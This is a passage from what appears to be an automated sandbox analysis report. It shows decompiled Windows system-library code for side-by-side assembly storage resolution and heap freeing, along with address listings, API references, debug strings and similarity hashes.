						_push( &_v1132);
						_push("SXS: Attempt to probe known root of assembly storage (\"%wZ\") failed; Status = 0x%08lx\n");
						goto L44;
					}
					_t279 = _v1120;
					_t272 = 0;
					_t236 = _v1136;
					_v1100 = _t236;
					_v1088 = _t279;
					_v1073 = 1;
					if(_t279 == 0) {
						L16:
						_t305 = _t272 - _t279;
						L17:
						if(_t305 == 0) {
							L54:
							_push(_t272);
							E6B5D5720(0x33, 0, "SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries\n",  &_v1152);
							_t274 = 0xc0150004;
							goto L22;
						}
						goto L18;
					} else {
						goto L10;
					}
					while(1) {
						L10:
						_v1144 = _t236;
						_v1128 =  &_v552;
						_v1140 = _t272;
						_v1132 = 0x2160000;
						_v1136 = 0;
						E6B57CCC0(2,  &_v1144, _v1104);
						if(_v1136 != 0) {
							break;
						}
						_t242 = _v1132;
						if(_v1135 != 0) {
							if(_t242 == 0) {
								goto L54;
							}
							_t119 = _t272 + 1; // 0x1
							_t279 = _t119;
							_v1088 = _t279;
						}
						if(_t242 == 0) {
							L27:
							_t272 = _t272 + 1;
							if(_t272 >= _t279) {
								goto L17;
							} else {
								_t236 = _v1100;
								continue;
							}
						}
						if(_v1084 != 0) {
							_push(_v1084);
							E6B5895D0();
							_v1084 = _v1084 & 0x00000000;
						}
						_t271 =  &_v1132;
						_t274 = E6B57CF6A( &_v1132,  &_v1152,  &_v1164,  &_v1096,  &_v1080,  &_v1084);
						if(_t274 < 0) {
							if(_t274 != 0xc0150004) {
								_push(_t274);
								_push( &_v1152);
								E6B5D5720(0x33, 0, "SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx\n",  &_v1132);
								goto L22;
							}
							_t279 = _v1088;
							goto L27;
						} else {
							_t279 = _v1088;
							goto L16;
						}
					}
					_t274 = 0xc0000120;
					goto L22;
				}
			}

0x6b57c9bf
0x6b57c9d1
0x6b57c9d8
0x6b57c9dc
0x6b57c9e9
0x6b57c9eb
0x6b57c9f3
0x6b57c9f9
0x6b57c9fb
0x6b57ca01
0x6b57ca07
0x6b57ca09
0x6b57ca0f
0x6b57ca19
0x6b57ca1f
0x6b57ca25
0x6b57ca2b
0x6b57ca31
0x6b57ca39
0x6b5bac23
0x6b5bac23
0x6b5bac24
0x6b5bac25
0x6b5bac26
0x6b5bac34
0x6b5bac3c
0x6b57cc3c
0x6b57cc43
0x6b57cc65
0x6b57cc6c
0x6b5bac4c
0x6b5bac4c
0x6b57cc72
0x6b57cc79
0x6b5bac56
0x6b5bac5c
0x6b5bac5c
0x6b57cc7f
0x6b57cc87
0x6b5bac72
0x6b5bac72
0x6b57cc8d
0x6b57cc9f
0x6b57cc9f
0x6b57cc45
0x6b57cc51
0x6b57cc60
0x00000000
0x6b57cc60
0x6b57ca41
0x6b5bac20
0x00000000
0x6b57ca59
0x6b57ca5f
0x00000000
0x00000000
0x6b57ca65
0x6b57ca68
0x6b57ca76
0x6b57ca7c
0x6b57ca7e
0x6b57ca86
0x6b5ba8ea
0x6b5ba8f5
0x6b5ba8fd
0x00000000
0x6b5ba8fd
0x6b57ca90
0x6b5ba90d
0x6b5ba916
0x6b5ba918
0x6b5ba927
0x6b5ba930
0x6b5ba94c
0x6b5ba94f
0x6b5ba955
0x6b5ba95b
0x6b5ba98c
0x6b5ba992
0x6b5ba99a
0x6b5ba9a9
0x6b5ba9af
0x6b5ba9c3
0x6b57cc09
0x6b57cc10
0x6b5bab03
0x6b5bab2f
0x6b5bab35
0x6b5bab3e
0x6b5bab5a
0x6b5bab40
0x6b5bab40
0x6b5bab4c
0x6b5bab52
0x6b5bab52
0x6b5bab5c
0x6b5bab63
0x6b5bab6a
0x6b5bab76
0x6b5bab78
0x6b5bab84
0x6b5bab86
0x6b5bab8d
0x6b5bab97
0x6b5bab98
0x6b5baba3
0x6b5babad
0x6b5babae
0x6b5babb3
0x6b5babb9
0x6b5babbd
0x6b5babc2
0x6b5babc6
0x6b5babc8
0x6b5babcb
0x6b5babdc
0x6b5babdc
0x6b5babc6
0x6b5babe3
0x00000000
0x6b5babe9
0x6b5babef
0x6b5babfc
0x00000000
0x6b5bac01
0x6b5babe3
0x6b5bab17
0x6b5bab1f
0x00000000
0x6b5bab1f
0x6b57cc16
0x6b57cc29
0x6b57cc2b
0x6b57cc30
0x6b57cc34
0x6b5bac13
0x6b57cc3a
0x6b57cc3a
0x6b57cc3a
0x00000000
0x6b57cc34
0x6b5ba95e
0x6b5ba965
0x6b5ba96a
0x6b5ba972
0x6b5ba97e
0x6b5ba984
0x00000000
0x6b5ba984
0x6b5ba974
0x00000000
0x6b5ba974
0x6b5ba932
0x00000000
0x6b5ba932
0x6b5ba91a
0x00000000
0x6b5ba91a
0x6b57ca96
0x6b57ca9d
0x6b57caa7
0x6b57caae
0x6b57caba
0x6b57cac0
0x6b57cace
0x6b57cad4
0x6b57cae3
0x6b57cae9
0x6b57caf3
0x6b57caf9
0x6b57caff
0x6b57cb05
0x6b57cb11
0x6b5ba9cb
0x00000000
0x6b5ba9cb
0x6b57cb1e
0x6b5ba9f8
0x6b5baa03
0x6b5baa07
0x6b5baa36
0x6b5baa47
0x6b5baa4b
0x6b5baa18
0x6b5baa19
0x6b5baa1a
0x6b5baa1f
0x6b5baa1f
0x6b5baa21
0x6b5baa23
0x00000000
0x6b5baa28
0x6b5baa4d
0x00000000
0x6b5baa4d
0x6b5baa09
0x6b5baa10
0x6b5baa11
0x00000000
0x6b5baa11
0x6b57cb24
0x6b57cb2a
0x6b57cb2c
0x6b57cb32
0x6b57cb38
0x6b57cb3e
0x6b57cb47
0x6b57cc01
0x6b57cc01
0x6b57cc03
0x6b57cc03
0x6b5baac0
0x6b5baac0
0x6b5baad1
0x6b5baad9
0x00000000
0x6b5baad9
0x00000000
0x00000000
0x00000000
0x00000000
0x6b57cb4d
0x6b57cb4d
0x6b57cb53
0x6b57cb5f
0x6b57cb6e
0x6b57cb74
0x6b57cb7e
0x6b57cb87
0x6b57cb93
0x00000000
0x00000000
0x6b57cba0
0x6b57cba7
0x6b5baa57
0x00000000
0x00000000
0x6b5baa59
0x6b5baa59
0x6b5baa5c
0x6b5baa5c
0x6b57cbb0
0x6b57cca2
0x6b57cca2
0x6b57cca5
0x00000000
0x6b57ccab
0x6b57ccab
0x00000000
0x6b57ccab
0x6b57cca5
0x6b57cbbd
0x6b5baa67
0x6b5baa6d
0x6b5baa72
0x6b5baa72
0x6b57cbe6
0x6b57cbf1
0x6b57cbf5
0x6b5baa84
0x6b5baa91
0x6b5baa98
0x6b5baaa9
0x00000000
0x6b5baaae
0x6b5baa86
0x00000000
0x6b57cbfb
0x6b57cbfb
0x00000000
0x6b57cbfb
0x6b57cbf5
0x6b5baab6
0x00000000
0x6b5baab6

APIs

DbgPrintEx.1105(00000033,00000000,SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p,?,?,?,00000000,00000002), ref: 6B5BA8F5

Part of subcall function 6B57CCC0: memcpy.1105(6B524F84,?,6B556167,00000040,?,?), ref: 6B57CD56

DbgPrintEx.1105(00000033,00000000,SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx,?,00000000,02160000,?,?,02080000,?,00000000,?,00000001,?,?,?), ref: 6B5BAA23
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx,RtlpResolveAssemblyStorageMapEntry,00000040,?,00000000,00000000,?,00000000,00000002), ref: 6B5BAC34
RtlDeleteBoundaryDescriptor.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6B5BAC4C
ZwClose.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6B5BAC5C
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001), ref: 6B5BAC72

Strings

SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 6B5BAC0A
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 6B5BAA11
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 6B5BA8EC
@, xrefs: 6B5BABA3
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 6B5BAAA0
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6B5BAB0E
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 6B5BAAC8
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 6B5BAA1A
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 6B5BAC2C
RtlpResolveAssemblyStorageMapEntry, xrefs: 6B5BAC27
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6B5BABF3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$BoundaryCloseDeleteDescriptorFreeHeapmemcpy
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 565419495-4009184096
Opcode ID: 0c2989dd997650967a24a810180fa28f0b6cade2682c8da9bc6284ba029f5fae
Instruction ID: 1bbc77a8c2173493581b469518ff93df1e3087c43053db2b679e39fb11dac5ea
Opcode Fuzzy Hash: 0c2989dd997650967a24a810180fa28f0b6cade2682c8da9bc6284ba029f5fae
Instruction Fuzzy Hash: 090274B1D046289BEB31DB24CD94BD9B7B8AF45704F4041EAE608A7241EB359F84CF69

Uniqueness

Uniqueness Score: -1.00%

Function 6B56A309, Relevance: 49.7, APIs: 22, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E6B56A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x6b638a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E6B56A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E6B56DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E6B549373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E6B54A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x6b638748 - 1;
						if( *0x6b638748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E6B54B150();
								__eflags =  *0x6b637bc8;
								if( *0x6b637bc8 == 0) {
									__eflags = 1;
									E6B602073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x6b638748 - 1;
							if( *0x6b638748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E6B57174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E6B567D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E6B6014FB(_t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E6B549373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E6B549819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x6b638748 - 1;
									if( *0x6b638748 >= 1) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E6B54B150();
											} else {
												E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E6B54B150();
											_pop(_t491);
											__eflags =  *0x6b637bc8 - _t449;
											if( *0x6b637bc8 == _t449) {
												__eflags = 0;
												_t491 = 1;
												E6B602073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E6B60A80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E6B56A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E6B567D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E6B567D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E6B601411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E6B567D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E6B567D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x6b638748 - 1;
							if( *0x6b638748 < 1) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E6B54B150();
							} else {
								E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E6B54B150();
							__eflags =  *0x6b637bc8;
							if( *0x6b637bc8 == 0) {
								__eflags = 0;
								E6B602073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x6b638748 - 1;
										if( *0x6b638748 >= 1) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E6B54B150();
												} else {
													E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E6B54B150();
												__eflags =  *0x6b637bc8 - _t446;
												if( *0x6b637bc8 == _t446) {
													__eflags = 1;
													E6B602073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E6B60A80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E6B56A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E6B56B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E6B56A830(_t553, _v64, _v24);
								_t286 = E6B567D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E6B567D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E6B601411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E6B567D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E6B567D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E6B601411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E6B57174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E6B56B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E6B567D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E6B6014FB(_t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E6B5699BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E6B56A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E6B57ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
